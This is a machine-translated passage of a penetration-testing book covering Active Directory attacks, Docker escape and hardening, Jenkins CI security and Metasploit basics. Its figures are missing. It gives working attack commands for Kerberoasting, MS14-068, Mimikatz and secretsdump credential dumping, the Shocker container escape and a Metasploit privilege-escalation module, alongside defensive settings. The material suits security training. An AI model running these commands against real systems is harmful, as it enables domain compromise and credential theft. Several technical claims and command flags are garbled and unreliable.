原文:
annas-archive.org/md5/45BAA65013025C678E3A42A0CD4FCB67
译者:飞龙
第四章:活动目录利用
在上一章中,我们探讨了如何利用组织的网络。我们从网络基础知识到发现最新的攻击方法。本章是您获取有关保护现代公司另一个重要技术系统的更多知识的下一步,即活动目录的下一步。我们将带您进入另一个层次的经验,按照一个精心设计的计划获取保护另一个环境所需的技能。
本章将涵盖以下主题:
-
学习活动目录和凯伯罗斯的概念
-
各种活动目录攻击的概述
-
学习哪些防御措施是有效的,以及它们如何缓解当前的攻击
活动目录
目录是一本按字母顺序或主题排序的列出个人或组织的书,包括姓名、地址和电子邮件等详细信息。换句话说,目录包含存储和结构化的对象,以便轻松访问和操作这些对象。在小规模组织中,如果您需要一个文件,您需要知道文件存储在哪个服务器上以及其完整路径。这在小型环境中有效,但在中大型公司中并不实用。因此,使用这种方式定位文件可能是一个真正的挑战。问题并不止于此,因为我们知道每个用户可能有许多访问凭据,如密码,这使得管理所有凭据变得困难,如果数量很大的话。这就是为什么需要一个目录服务来定位资源而不知道完整位置的原因。以下图表说明了一个分层目录的示例。
微软活动目录提供了一个用于管理和解决这些挑战的目录服务。它还具有许多其他功能和能力。如今,活动目录在许多现代组织和机构中扮演着重要角色。沟通对于业务来说是一个关键的方面,而目录服务是一个明智的选择,因为它作为所有所需信息的单一容器点。活动目录基于客户端/服务器架构。以下图表显示了活动目录用户的一个示例。
活动目录由以下四个组件组成:
-
活动目录森林:这是一个充当顶级容器的活动目录实例
-
活动目录域:这是管理定义的对象的集合
-
活动目录单元:您可以使用这些容器对象来以支持您的管理目的的方式排列其他对象
-
站点:这些是对象的容器
这个插图显示了活动目录森林和树的一个示例:
单点登录
单点登录(SSO)是一种集中的方法,通常由认证服务器代表,允许许多系统以高效的方式进行身份验证,无需记住不同的密码。这种机制还通过提供单一的身份验证点来提高开发人员的生产力,因此他们不必担心这一部分,可以专注于更重要的任务。SSO 解决方案很棒,但正如前几章讨论的那样,单一点是攻击者的一个有吸引力的目标。以下图表显示了单点登录是如何简化身份验证的。
凯伯罗斯身份验证
Kerberos 是 RFC 1510 下的认证协议,从本世纪初起就集成在 Windows 操作系统中。它是由麻省理工学院(MIT)在 Athena 项目下开发的。您可以通过其官方网站www.kerberos.org
进行检查和测试。Kerberos 环境包含三个部分:客户端、服务器和密钥分发中心(KDC),如下图所示。它提供了基于身份的密钥分发模型,由 Needham 和 Schroeder 提出:
Kerberos 需要以下五个步骤才能进行:
-
需要从认证服务器 KDC 请求认证
-
KDC 发送一个使用发送者的秘密密钥加密的会话,以及一个使用票据授予服务加密的票据授予
-
然后接收者解密会话并从票据授予服务请求权限
-
如果会话有效,票据授予服务将发送一个客户端/服务器会话以授予对资源的访问权限,以及一个使用资源密钥加密的服务票据
-
资源验证会话并授予客户访问权限
Kerberos 提供了一个很好的认证解决方案,但它将密钥以明文形式存储,这对组织构成了巨大的威胁。事实上,如果攻击者能够访问 KDC,他们将会破坏所有密钥。以下图表显示了 Kerberos 操作的不同步骤:
轻量级目录访问协议
Active Directory 使用轻量级目录访问协议(LDAP)作为访问协议,依赖于 TCP/IP 协议栈。LDAP 支持 Kerberos 认证。
该协议使用倒置树层次结构,因此每个条目都有一个定义的位置。这种结构称为目录信息树(DIT)。Distinguished Name(DN)表示条目的完整路径。
以下图表表示用户(通用名称(CN))之间的不同交互。过滤组被限制在一些应用程序中:
PowerShell 和 Active Directory
PowerShell 是一个自动化框架,为系统管理员提供了许多执行任务的能力。它支持脚本语言。脚本中的每个命令都被称为cmdlet。您可以使用.NET 编程语言构建自己的 cmdlet。这里给出了一个解释:
要查看一个森林,您可以使用get-adforest
cmdlet,如下所示:
要检查所有命令,请输入:Get-Command
,如下所示:
要检查域,您可以使用**Get-ADDomain
**,如下所示:
要检查森林的信任,您需要使用get-adtrust
,如下所示:
get-aduser
用于获取指定用户,如下所示:
PowerShell 在许多情况下被用作攻击平台,原因如下:
-
在内存中运行代码而不触及磁盘
-
它从另一个系统下载并执行代码
-
它与.NET 和 Windows API 进行交互
-
大多数组织都没有监视 PowerShell 活动。
-
CMD.exe
通常被阻止,尽管 PowerShell 没有被阻止
Active Directory 攻击
Active Directory 是攻击者的高调目标。由于其常见的架构(单一点),它是一个被攻击的系统。有许多 Active Directory 攻击。它是一个复杂的系统,因此以下小节将讨论来自不同攻击向量的不同类型的攻击。
PowerView
侦察是信息安全中至关重要的一步。PowerView 是一个令人惊叹的侦察工具-它是一个域网络态势感知工具。您可以从github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
获取它。
像往常一样,克隆项目或简单地将其下载为.zip
文件,如下所示:
git clone https://github.com/PowerShellMafia/PowerSploit.git
PowerView 将使您能够执行许多侦察任务,如下所示:
-
用户:
Get-NetUser
-
组:
Get-NetGroup
-
会话:
Get-NetSession
-
GPO 位置:
Find-GPOLocation
-
Active Directory 对象:
Set-ADObject
-
Forests:
Get-NetForest
Kerberos 攻击
如前几节所讨论的,Kerberos 是攻击者的高价值目标。但在深入研究 Kerberos 攻击之前,让我们先了解一些 PowerShell 的功能。
get-adrootdse
:用于获取根对象,如下所示:
get-adforest
:用于检查 Active Directory forests,如图所示:
get-domaincontroller
:列出域控制器,如图所示:
- 要获取 Active Directory 计算机,请使用
get-adcomputer
,如图所示:
get-adgroupmemberb
:获取 AD 组成员,如图所示:
在深入研究 Active Directory 攻击技术之前,让我们先了解 PowerShell 作为攻击平台的一些功能。为此,我们将以 PowerShell Empire 作为演示,因为它是一个创建代理以妥协系统的绝佳工具:
#git clone https://github.com/EmpireProject/Empire
导航到cd Empire/setup
并运行./install.sh
脚本:
等待安装完成:
现在,您已经准备好使用 PowerShell Empire 了:
如果您想生成一个代理,只需输入usemodule external/generate_agent
:
Kerberos TGS 服务票证离线破解(Kerberoast)
如前几节所讨论的,Kerberos 使用票证进行身份验证,这得益于基于对称密钥密码学的受信任的第三方。最常见的攻击之一是 Kerberos TGS 服务票证离线破解,也称为 Kerberoast。使用这种技术,攻击者利用了大多数服务账户密码与域密码长度相同的事实。换句话说,您不需要暴力破解两个密码,因为大多数服务账户的密码不会过期。为了减轻这种攻击,您需要确保服务账户密码长度超过 25 个字符。这些是 TGS 的步骤
SPN 扫描
服务主体名称(SPNs)表示特定可发现服务的实例,例如 HTTP、LDAP 和 SQL。它们由 Kerberos 用于将服务与服务账户连接起来。您可以扫描这些服务,而无需执行端口扫描,因为 SPNs 可以表示为例如MSSQLSvc/<domain>:3170
(3170
是端口号)。
如果要使用 Microsoft 内置工具检查所有 SPN 服务,只需输入setspn -Q */*
。
要检索 AD 票证,请输入:> $ticket = Get-TGSCipher -SPN <SPN_service_Here>
。
要破解票证,您可以使用约翰·里帕,这是一个众所周知的密码破解实用程序,如图所示:
SYSVOL 和组策略首选项中的密码
这种攻击比以前的攻击简单得多。要从域用户升级为域管理员,攻击者只需搜索域 SYSVOL DFS 共享中的 XML 文件。SYSVOL 是 Active Directory 中的域范围共享,所有经过身份验证的用户都可以读取。
14-068 Kerberos 漏洞在域控制器上
要利用 MS14-068 Kerberos 漏洞,您可以使用一个名为PyKEK的 Python 脚本,即 Kerberos 利用工具包,将 TGT 注入内存,如图所示。从 GitHub 存储库克隆 python 脚本github.com/bidord/pykek
:
现在,您可以使用以下格式的脚本:
ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
使用 Mimikatz 转储所有域凭据
转储凭据是信息安全中的一种经典技术。转储域凭据是众所周知的 Active Directory 技术之一。可以借助一个名为Mimikatz的强大实用程序来实现这一技术,该实用程序由 Benjamin Delpy 开发。您可以从其官方 GitHub 存储库github.com/gentilkiwi/mimikatz
下载。
要构建 Mimikatz,您需要使用 Visual Studio 进行构建。在我的情况下,我使用的是 Visual Studio 2015 专业版。如果您想直接使用二进制文件,请从github.com/gentilkiwi/mimikatz/releases/tag/2.1.1-20171203
下载:
以下截图显示了 Mimikatz 的主界面:
现在,让我们发现一些 Mimikatz 命令和实用程序。
CRYPTO::Certificates
:列出和检查证书,如下所示:
-
SEKURLSA::Ekeys
:检查 Kerberos 加密密钥(adsecurity.org/?page_id=1821#SEKURLSAEkeys
) -
PRIVILEGE::Debug
:检查调试权限 -
TOKEN::List
:检查所有系统令牌,如下所示:
TOKEN::Elevate
:检查域管理员,如下所示:
TOKEN::Elevate/domainadmin
:模拟具有域管理员凭据的令牌:
传递凭据
传递凭据是一种简单易行的技术,可以发现 NTLM 散列密码,而无需使用大量计算资源进行破解。尽管 Windows 不支持通过网络传递散列,但您可以作为渗透测试人员尝试Pass-the-Ticket(PtT)技术,这是获取票证并以非合法方式使用它的过程。此图显示了 NTLM 身份验证流程:
使用任务管理器转储 LSASS 内存(获取域管理员凭据)
内存转储是一种经典技术,用于恢复一些隐藏的信息,包括密码和凭据。其中一种 Active Directory 技术是使用任务管理器转储 LSASS 内存。 Mimikatz 具有很强的功能,比如前面讨论过的功能之一是从LSASS.dmp
文件中转储 LSASS 内存,如下所示:
如果操作成功,您将收到此消息:
从 NTDS.dit 文件中转储 Active Directory 域凭据
威胁 Active Directory 环境的另一种转储技术是从NTDS.dit
文件中转储凭据(Active Directory 数据存储在NTDS.dit
中)。可以使用名为secretdump.py
的 Python 脚本提取 Active Directory 凭据。它内置于 Kali Linux 环境中,或者您可以从此链接下载:github.com/CoreSecurity/impacket
:
#git clone https://github.com/CoreSecurity/impacket
您可以在examples
文件夹中找到该脚本,以及许多其他有用的脚本:
要检索数据,请键入:
secretdump.py -system /opt/system.hive -nt
总结
本章讨论了最常见的现实世界 Active Directory 威胁。我们从 Active Directory 的基本术语和组件开始,了解了最新的 Active Directory 攻击以及防御所需的步骤。下一章将探索 Docker 的世界。您将学习如何构建安全的 Docker 化环境。
第五章:Docker 开发
在学习了如何利用和保护 Active Directory 之后,让我们继续我们的旅程。本章将带您了解 Docker 容器的不同方面。在本章中,我们将从安装和配置 Docker 到利用它的基础知识。您还将通过学习如何构建完整的渗透测试实验室来一窥 Docker 容器的威力。
本章将涵盖以下主题:
-
Docker 威胁
-
Docker 突破
-
构建 Docker 渗透测试实验室
Docker 基础知识
Docker 凭借其功能和有前途的服务在现代组织中迅速传播开来。这是一个开源项目,采用 Apache 2.0 许可证,允许开发人员打包他们的应用程序,而不必担心依赖问题,这在现代应用程序开发中产生了巨大影响。自 2013 年 3 月开发以来,它使开发人员能够专注于他们的产品,而不是浪费时间解决库问题。因此,Docker 的三个主要原则是:开发、交付和运行。这三个术语解释了 Docker 的主要概念。开发人员只需开发他们的应用程序,Docker 将处理其余部分,换句话说。它允许他们交付应用程序并在任何系统中部署它们。有关容器管理服务的更多信息,请访问项目官方网站www.docker.com,如下所示:
虚拟化
在深入探讨 Docker 的魔力之前,让我们回到过去,发现这一切是如何发生的以及为什么会发生。正如他们所说,需求是发明之母,许多年前技术人员面临着一个巨大的问题,被称为冰山问题;他们注意到组织只使用了其总技术资源的 30%。因此,提出了对资源进行优化的新方法的需求。这就是虚拟化这个术语出现的时候。虚拟化是基于将大规模资源分解为小资源的原理。这不仅是管理资源的好方法,而且隔离方法增加了一层保护,除了许多其他优点,例如:
-
降低成本(一个硬件上的多个主机)
-
简单管理
-
将资源分隔为逻辑上的独立虚拟机
要实现所有这些,需要一种名为虚拟机监视程序的软件。它是一种管理所有虚拟化方面的软件。它位于硬件和软件之间。虚拟机监视程序的基本作用是通过为操作系统分配所需的资源来管理资源。虚拟机监视程序有两种主要类型:
-
类型 1:这种类型的虚拟机监视程序直接在硬件的裸金属上运行,例如 VMware ESXi 和 Xen
-
类型 2:这种类型的虚拟机监视程序在操作系统上运行,例如 VMware Workstation 和 Sun VirtualBox
以下图表说明了两种类型的虚拟机监视程序之间的区别:
云计算
近年来,云计算取得了惊人的增长。这种计算范式基于资源池,为客户提供可伸缩性和一长串的服务。它降低了成本,客户只支付他们使用的部分,提供电费或其他服务。换句话说,你按需付费。这种托管计算基础设施提供了不同的本地环境和服务,如存储、网络、应用程序、服务器和其他现代组织中所需的许多服务。我们可以将云计算模型分为以下三种模型:
-
软件即服务(SaaS):客户可以访问托管在云中的最终用户应用程序
-
平台即服务(PaaS):客户可以访问运行时环境和处理平台
-
基础设施即服务(IaaS):客户可以访问虚拟化基础设施,包括服务器、存储和网络
以下图表简要描述了不同的模型:
当我们谈论云计算时,组织可以从三种类型的云计算中受益:
-
公共云
-
私有云
-
混合云
云计算安全挑战
云中托管的信息是恶意攻击者的一个吸引人的目标。这就是为什么了解云安全问题并知道如何解决它们至关重要。根据 2017 年的云安全报告,超过 35 万名信息安全专业人员认为数据保护是采用云计算的头号关注点。在涉及云计算时,窃取敏感信息确实是一个严重的问题。从 2018 年开始,根据欧盟《通用数据保护条例》(GDPR),欧洲公司将面临对内部数据流的限制,并且如果他们不遵守新规定可能会被罚款数百万美元。加密始终是保护敏感云数据的一个很好的解决方案。弱身份验证和缺乏良好的身份管理是最大的云威胁之一。应该采用双因素身份验证机制,使黑客攻击变得更加困难。
Docker 容器
Docker 容器是一种虚拟化形式,但开发人员不需要创建整个虚拟机,而是需要创建容器。换句话说,Docker 容器是没有创建虚拟机的麻烦的小型虚拟机。以下图表显示了虚拟机和 Docker 容器之间的区别:
部署 Docker 容器将使开发人员能够降低成本,同时提供轻量级和可扩展的环境。
现在,让我们回到现在。要安装 Docker,我们将使用 Ubuntu 16.04(也可以使用 Kali Linux)机器进行演示。
首先,为官方 Docker 存储库添加 GPG 密钥:
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
将 Docker 存储库添加到 APT 源:
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" sudo apt-get update
最后,安装 Docker:
sudo apt-get install -y docker-ce
要检查 Docker 守护程序,可以使用systemct1
命令:
sudo systemctl status docker
有关 Docker 的更多信息,只需键入:
sudo docker info
要获取 Docker 版本,请使用以下命令:
sudo docker version
典型的 Docker 命令格式是:
docker [option] [command] [arguments]
Docker 容器基于一组参数和文件系统的镜像。要检查 Docker 容器中的所有镜像,请键入:
docker images
要运行一个镜像,使用run
命令:
docker run <Image_Here>
Docker 还具有许多其他令人惊叹的功能。您可以使用 Docker 命令进行检查。以下是一些 Docker 命令:
-
create
:创建新容器 -
cp
:复制文件 -
exec
:在容器中执行命令 -
kill
:杀死正在运行的容器 -
network
:检查 Docker 网络 -
ps
:列出容器 -
build
:基于 Dockerfile 构建容器
您可以通过键入sudo docker
来检查所有可用命令:
Dockerfile 是一个包含有关所需镜像的环境、文件和命令信息的文本文件。您可以使用任何普通文本编辑器进行编辑。以下是 elasticsearch(elasticsearch 是一个分布式 RESTful 搜索和分析引擎)的 Dockerfile 示例:
要从 Dockerfile 构建镜像,请键入:
sudo docker build -t <image>
在演示中,我正在使用 Microsoft Azure 云平台。您可以从这里访问 Azure 官方网站www.azure.com。因此,要构建一个镜像,我创建了一个 Azure 容器注册表并登录:
单击“新建”并创建新的 Azure 容器注册表:
要登录,我使用了login
命令:
为了检查我们是否成功部署了环境,我使用了pull
命令,该命令从注册表中拉取图像或存储库,这是默认的 Microsoft Azure 图像:
docker pull microsoft/aci-helloworld
要运行一个 Docker 镜像的实例容器,我们需要使用run
命令。
要列出所有可用的容器,请使用ps
命令:
sudo docker ps
还有许多其他有用的容器命令,例如:
-
top
:容器内的进程 -
stop
:停止容器 -
rm
:删除容器 -
stats
:有关容器的统计信息 -
pause
:暂停容器
Docker 容器基于以下工作流程的生命周期:
Docker 利用
您已经学会了如何安装和配置 Docker 容器。作为渗透测试人员,您需要了解 Docker 系统可能存在的安全问题和潜在威胁。根据 ClusterHQ 在 2015 年的数据,超过 60%的企业对 Docker 生产环境中的容器安全问题更为关注。Docker 容器面临许多安全问题。为此,渗透测试人员应考虑以下常见容器安全挑战和向量:
-
内核利用
-
拒绝服务(DoS)
-
容器越狱
-
被感染的镜像
-
数据窃取
内核利用
Docker 容器正在服务器上运行,但请记住有一个内核**。实际上,所有进程共享相同的内核。** Docker 具有许多功能,例如:
-
chown
:更改任何文件的所有权 -
fowner
:绕过需要进程 UID 和文件 UID 相同的操作的权限检查 -
kill
:向非根进程发送终止信号 -
setgid
:操纵进程 GID 和 GID 列表 -
setuid
:操纵进程 UID -
net_raw
:允许使用原始和数据包套接字
要检查可用的功能,可以使用pscap
命令。在此之前,您需要确保已安装libcap-ng-utils
依赖项:
sudo apt-get install libcap-ng-utils
设置用户 ID(SUID)在执行时和设置组 ID(SGID)在执行时在第二章中已经讨论过,高级 Linux 利用。它们是代表访问权限的两个术语。它们允许用户以与其所有者相同的权限执行二进制文件。这两个执行可能会被攻击者利用。这就是为什么您需要配置 Dockerfile 以禁用setuid
权限。
要丢弃一个功能,使用选项:--cap-drop =
。
例如,如果您想要丢弃setgid
功能,可以运行以下命令:
docker run -d --cap-drop= mknod sudo docker run --cap-drop=mknod -t -i --volumes-from kali-data kali
如果您想放弃所有功能,并且只想运行setfcap
,请使用以下命令:
sudo docker run --cap-drop=all --cap-add=setfcap -t -i --volumes-from kali-data kali
作为安全措施,您需要通过修改 Dockerfile 来禁用setuid
权限:
RUN find / -perm +6000 -type f -exec chmod a-s {} \; \ || true
DoS 和资源滥用
DoS 对 Docker 平台构成严重威胁。 Docker 面临许多 DoS 威胁,例如:
-
待处理信号
-
Posix 消息队列
-
最大用户进程
-
最大文件
为了防御这些攻击,我们需要:
- 使用
-m
选项分配内存限制:
docker run -d -m 512m <Image_Name>
- 使用
-c
选项限制 CPU 份额(默认为 1,024):
docker run -d -c 512 <Image_Name></strong>
Linux 内核中的另一个功能是使用cgroups
(控制组)和--cpu-set-cpus
标志来限制访问进程。您可以通过查看以下插图来更清楚地了解。
Docker 越狱
Docker 突破是绕过 Docker 容器的隔离层,转向主机并以授权方式访问信息的操作,以及试图获取更高权限(特权升级)的过程。Docker 突破可以通过一些不同的攻击向量来实现。第一个向量是之前讨论过的威胁:内核漏洞。滥用特权是另一种 Docker 突破技术。攻击者可以使用容器间通信(icc),允许容器相互通信。为了保护 Docker,你需要将 -icc
标志设置为 false
,并配置 iptables
:
docker -d --icc=false --iptables
Docker 在内核和容器之间扮演中间件角色。作为安全措施,它列入了内核调用的黑名单,但在 2015 年,有一个利用了一个未被阻止的内核调用 CAP_DAC_READ_SEARCH
的漏洞被提出,允许攻击者突破 Docker 隔离并潜入容器。这段代码被命名为 the shocker,并被作为突破演示进行了展示。你可以从这个 github.com/gabrtv/shocker
存储库克隆它的概念证明:
sudo git clone https://github.com/gabrtv/shocker
要测试利用漏洞,你只需要使用 docker run
命令:
root@Demo:~# docker run gabrtv/shocker
Docker 依赖于一个名为 Docker 守护程序的守护程序。它需要 root 权限。不受信任的用户构成严重威胁。为了获得 root 访问权限,攻击者可以使用 Docker 守护程序特权升级 Metasploit 模块:
msf > use exploit/linux/local/docker_daemon_privilege_escalation msf exploit(docker_daemon_privilege_escalation) > show targets ...targets... msf exploit(docker_daemon_privilege_escalation) > set TARGET <target-id> msf exploit(docker_daemon_privilege_escalation) > show options ...show and set options... msf exploit(docker_daemon_privilege_escalation) > exploit
被感染的镜像
在 Docker Hub 上,有超过 100,000 个预构建的容器和镜像。镜像是 Docker 容器的重要组成部分。实际上,容器是基于镜像构建的。这就是为什么你需要确认 Docker 镜像的真实性。镜像在互联网上随处可见,因此检查 Docker 镜像是必须的,因为你不希望在基础设施上运行任意程序。要验证 Docker 镜像,使用 pull
命令来验证镜像是否已签名。换句话说,如果拉取成功,则镜像已经验证。此外,确保你的设置与 DOCKER_CONTENT_TRUST=1
匹配。
数据库密码和数据窃取
在使用 Docker 时,你将每天处理密码和凭据。敏感信息和密码通常对攻击者非常有吸引力。此外,通过添加 --read-only
选项将文件系统设置为只读是一个明智的决定:
docker run --read-only kali
Docker bench security
Docker 提供了一个重要的脚本,名为 Docker bench security。它非常有用,可以收集和报告信息、警告和通过简单输出传递消息。你可以从其官方 GitHub 存储库 github.com/docker/docker-bench-security:
克隆 bench:
sudo git clone https://github.com/docker/docker-bench-security
运行脚本,它将检查 Docker,感谢预定义的最佳实践。基本上,它基于 CIS Docker 社区版基准 v1.1.0:
./docker-bench-security.sh
使用 Clair 进行 Docker 漏洞静态分析
Clair 是一个用于静态分析 Docker 容器中漏洞的开源项目。它允许渗透测试人员识别容器中的漏洞。你可以在其官方存储库 github.com/coreos/clair
. 找到它的官方存储库:
Clair 项目由以下七个组件组成,如图所示:
-
内容检测器
-
数据存储
-
漏洞更新程序
-
RESTful API
-
通知器
-
客户端
-
漏洞数据库
要构建一个 Dockernized 环境,请访问官方的 QUAY 网站 quay.io/
:
用所需的信息完成你的个人资料:
创建一个新的存储库并选择其可见性:
选择一个指向你的存储库的链接,例如,我使用了一个 Dockerfile:
等待直到构建操作完成:
如果你点击构建,你会看到 Dockerfile 的内容:
等待几分钟来完成操作:
要使用安全扫描程序,您需要一个企业账户:
完成配置文件后,您将能够使用 Quay 安全扫描程序检查是否存在一些常见的 Docker 漏洞:
构建一个渗透测试实验室
在之前的章节中,我们发现了 Docker 容器的强大功能,并学会了如何防御 Docker 的利用技术。让我们继续学习 Docker 容器的另一个方面。在本节中,您将学习如何基于 Docker 化环境构建一个渗透测试实验室。
我们开始使用 Kali Linux 发行版进行学习,所以我们将使用相同的发行版作为演示。
首先,让我们从 GitHub 克隆一个 Kali Linux 容器文件,使用git clone
命令:
git clone https://github.com/offensive-security/kali-linux-docker.git
打开 Dockerfile 并添加任何额外的配置:
例如,我添加了metasploit-framework
:
现在,让我们使用build
命令构建镜像:
sudo docker build -t kali ~/kali-linux-docker
完成pull
操作后,文件将被提取:
为了保持数据并使其持久化,确保您为 Kali Linux 创建一个附加卷来保存您的文件,即使在重新启动系统后也是如此:
sudo docker create -v /tmp --name kali-data ubuntu
sudo docker run -t -i --volumes-from kali-data kali
现在你可以看到,你在实例中:
哇!您的实验室现在已经准备好了。例如,如果您想运行 Metasploit,只需输入msfconsole
:
您还可以在 Docker 化环境中运行任何其他 Kali Linux 工具。通过这样做,您将结合 Docker 的灵活性和 Kali Linux 发行版的强大功能。
总结
本章是一个动手学习如何安装和配置 Docker 的经验。您了解了 Docker 环境的功能以及如何保护它。您还通过构建一个渗透测试实验室发现了 Docker 的强大之处。在下一章中,我们将清楚地了解如何保护持续集成(CI)服务器。
第六章:利用 Git 和持续集成服务器
持续集成(CI)和持续交付(CD)正在成为现代软件开发的两个重要部分。本章是一个了解如何保护 CI 服务器的绝佳机会。我们将从头开始学习软件开发方法和 CI 的构建。除了学习如何从头开始构建 CI 环境,我们还将了解如何保护 CI 和 CD 流水线需要做些什么。
软件开发方法论
像任何项目一样,软件项目需要经历明确定义的步骤才能得到良好的管理。为了确保高效的项目管理,软件开发项目需要一系列步骤:
-
需求
-
设计
-
实施
-
验证
-
维护
步骤如下:
根据业务需求,先前的步骤通过不同的方法进行。有许多开发方法论:
-
瀑布方法论:这是一种线性和顺序的方法论;在其中不能回头。
-
原型方法论:在这种方法论中,产品被反复构建和测试。
-
螺旋方法论:这种方法论是有风险和成本高昂的,因为它通过迭代开发过程(目标识别、替代方案、约束和规划)来完成。
-
**敏捷方法论:**敏捷方法论是基于迭代和增量的方法,创造了一个灵活和快速适应的环境。有许多著名的敏捷方法,例如:
-
**水晶:**这种方法论基于人员的沟通和互动。
-
Scrum:这是一种敏捷方法论(甚至有一些专家认为它是敏捷运动的重要组成部分,而不是一种敏捷方法论),用于将软件开发项目分解为在特定时间段内进行的冲刺。
-
极限编程(XP):包括短期开发周期,并与客户需求保持一致。
-
特征驱动开发(FDD):这是一种以特征和客户为中心的方法论。
敏捷开发方法论比其他经典方法论风险较小。以下图表显示了敏捷开发周期:
持续集成
CI 是一种软件开发实践,开发人员有机会在项目结束之前每天多次集成他们的代码。如今,CI 是每个软件项目中的关键实践。这些频繁的检查解决了经典的集成问题,并使开发人员和 CI 采用者获得以下好处:
-
在短时间内检测错误
-
轻松检测和定位问题
-
更快地交付软件产品
CI 采用是避免紧张集成的重要一步,并且它能够及时交付软件,因为不准确的时间和工作量估计是项目失败的主要原因,另外还有各个层面缺乏有效沟通。CI 基于自动化。自动化是 CI 的一个重要方面。因此,测试的自动化将确保更快的开发和产品上市时间。
测试类型
如前所述,自动化任务在 CI 中是必不可少的。您可以执行许多类型的测试,而不一定要一次执行所有测试。根据 Mike Cohn 介绍的测试自动化策略,测试可以用以下金字塔表示:
单元测试范围狭窄,通常验证单个方法或函数的行为。
集成测试确保多个组件正确地一起运行。这可能涉及多个类,以及与其他服务的集成测试。
验收测试类似于集成测试,但它们侧重于业务案例而不是组件本身。
UI 测试将确保应用程序从用户角度正确运行。
以下是 CI 环境的总结:
持续集成与持续交付
CI是CD的一个子集。在 CD 过程中,我们添加了一个额外的层,用于在发布过程中自动化交付。这个额外的步骤确保即使在产品发布和交付给客户之后,您也可以根据预定的时间表(每天、每周、每月等)根据业务需求快速进行新的更改。如果所有测试都成功,新的更改将被自动部署,从而以高效的方式加快产品向客户的发布。
为了加快流程,您可以添加一个称为持续部署的进一步步骤。以下图表显示了三个操作:
DevOps
DevOps是一种增强的实践,它在整个产品生命周期中使开发人员和运营经理之间能够进行协作。这是一组工具和思维原则,用于成功地建立两方之间的沟通渠道。通过查看以下图表,您可以更清楚地了解:
使用 GitHub 和 Jenkins 进行持续集成
我们已经概述了开发方法和不同的产品生命周期过程。现在让我们学习如何使用 GitHub 和 Jenkins CI 服务器构建真实的 CI 环境,如下所示:
Jenkins 是一个开源的自动化服务器。由于它具有自动化任务的能力,它可以执行 CI。您可以从jenkins.io/:
下载它。
安装 Jenkins
在演示中,我们将使用 Ubuntu 16.04 机器。要安装 Jenkins,您需要添加存储库密钥,使用echo
命令将 Jenkins Debian 软件包存储库添加到sources.list
文件,并通过输入以下内容来更新sources.list
文件:
apt-get update
现在,使用apt-get install Jenkins
命令安装 Jenkins:
您可以通过输入以下内容来检查 Jenkins 服务是否正在运行:
sudo service --status-all
通过输入sudo ufw allow 8080
来为 Jenkins 打开端口8080
。
访问https://www.<your domain/IP here>.com:8080
并完成所需的配置:
选择您的插件模式:
创建一个管理员用户,保存,然后我们完成了:
大功告成!
创建一个新项目并完成配置:
持续集成攻击
像任何现代组织一样,宝贵的资产、持续集成和 CD 服务器是高度的目标,因为它们代表着入侵生产系统的良好入口点。有许多危险的攻击威胁 CI 服务器。以下是一些 CI/CD 服务器攻击的示例:
-
使用 CI 进行反向 shell
-
未经授权提交到主分支
-
Jenkins-CI 脚本控制台 Java 执行
持续集成服务器渗透测试
保护 CI 和 CD 服务器至关重要。建立安全控制对于保护流水线至关重要,因为它们是源代码和生产服务器之间的桥梁。
Rotten Apple 项目用于测试持续集成或持续交付系统的安全性
Rotten Apple 项目是一个开源项目,旨在为开发人员和渗透测试人员在测试 CI 服务器时提供简单高效的体验,通过提供各种功能和能力。
您可以通过输入sudo git clone https://github.com/claudijd/rotten_apple
来从其 GitHub 存储库克隆项目。
使用 Zed Attack Proxy 进行持续安全性
Zed Attack Proxy(ZAP),如图所示,是一个著名的开源安全工具。它具有各种对渗透测试人员有用的功能。ZAP 可以作为额外的 CI 安全层发挥重要作用。换句话说,它可以成为 Web 应用程序的持续安全层。ZAP 和 Jenkins 提供了体验额外组件的可能性。然后,您不仅仅是按时交付软件项目,而是增强了 CI/DI 管道的安全性:
感谢 ZAP Jenkins 插件,您可以增强 CI 环境的安全性。测试后,ZAP 将以不同格式(XHTML、XML 和 JSON)生成报告。
要安装 ZAP 插件,可以使用 Web 界面:转到“管理 Jenkins -> 管理插件”。
使用过滤栏搜索 ZAP,如下面的屏幕截图所示:
单击“无需重启安装”:
转到作业并在构建选项中选择运行 OWASP ZAP 代理:
完成所需的配置,最后构建作业:
摘要
本章概述了 CI 服务器的潜在力量及其对企业的好处。因此,我们了解了如何逐步构建 CI 环境,并了解了保护 CI/CD 服务器所需的步骤。下一章将带您进行一次深入的旅程,您将了解如何使用 Metasploit 和 PowerShell 来攻击组织基础设施。
第七章:Metasploit 和 PowerShell 用于后期利用
在之前的章节中,您学习了PowerShell作为攻击平台的强大功能。这只是个开始。现在是时候感受它作为执行复杂攻击的完美工具的真正力量了,而且我们还将发现如何与Metasploit Framework并行使用它。
在本章中将涵盖以下主题:
-
Metasploit Framework
-
PowerShell 基础知识
-
PowerShell 有效载荷模块
-
Nishang PowerShell 用于渗透测试和攻击性安全
解剖 Metasploit Framework
Metasploit Framework 是最知名的开源利用工具。它最初是由 HD Moore 用 Perl 开发的,但后来转移到了 Ruby。这个框架装载了许多对黑客和渗透测试人员有用的功能。要安装 Metasploit Framework,请访问www.rapid7.com/products/metasploit/download/
并执行以下步骤:
- 选择您的计划,注册并选择您的操作系统。在这个演示中,我使用的是 Windows 64 位试用版:
- 您将收到一封带有试用激活密钥的电子邮件:
- 现在在您的机器上安装它:
- 看啊!您可以开始您的利用之旅:
Metasploit 架构
Metasploit 架构由许多重要组件组成。要充分利用 Metasploit 的功能,需要许多组件:
-
工具:这是一组有用的实用程序
-
插件:这些是运行时可加载的扩展
-
库:这些是有用的 Ruby 库
-
接口:这些使用户能够以不同的方式访问 Metasploit(例如 CLI 和 web)
-
模块:这些是执行特定任务的组件
这张图解释了 Metasploit 框架的架构:
模块
Metasploit Framework 使用许多模块。如果您在 Kali Linux 发行版中使用 Metasploit Framework,您可以列出这些模块。转到/usr/share/metasploit-framework/modules
并使用ls
命令来探索它们,如下面的屏幕截图所示:
利用
正如我们在旅程中讨论的,利用是黑客攻击中的一个重要步骤。事实上,Metasploit 通过加载的利用给黑客和安全专业人员提供了巨大的利用能力。这个阶段不仅会通过找到利用漏洞的真实证据来最小化漏洞工具和扫描器的误报率,而且还会导致后期利用。在野外有三种类型的利用:
-
服务器端漏洞
-
客户端漏洞
-
本地权限提升
有效载荷
